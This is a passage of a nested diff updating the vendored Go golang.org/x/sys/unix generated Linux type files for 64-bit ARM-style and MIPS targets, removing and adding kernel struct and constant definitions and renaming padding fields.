--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [31]uint64
- Sp uint64
-@@ -606,30 +187,19 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-@@ -640,37 +210,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -683,20 +230,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -708,13 +246,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -738,55 +275,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-index 8fa6603f..aaca03dd 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,13 +81,6 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]int32
-@@ -115,141 +101,30 @@ type Stat_t struct {
- Pad5 [14]int32
- }
-
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Frsize int32
-- Pad_cgo_0 [4]byte
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int32
-- Flags int32
-- Spare [5]int32
-- Pad_cgo_1 [4]byte
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,41 +135,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -311,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
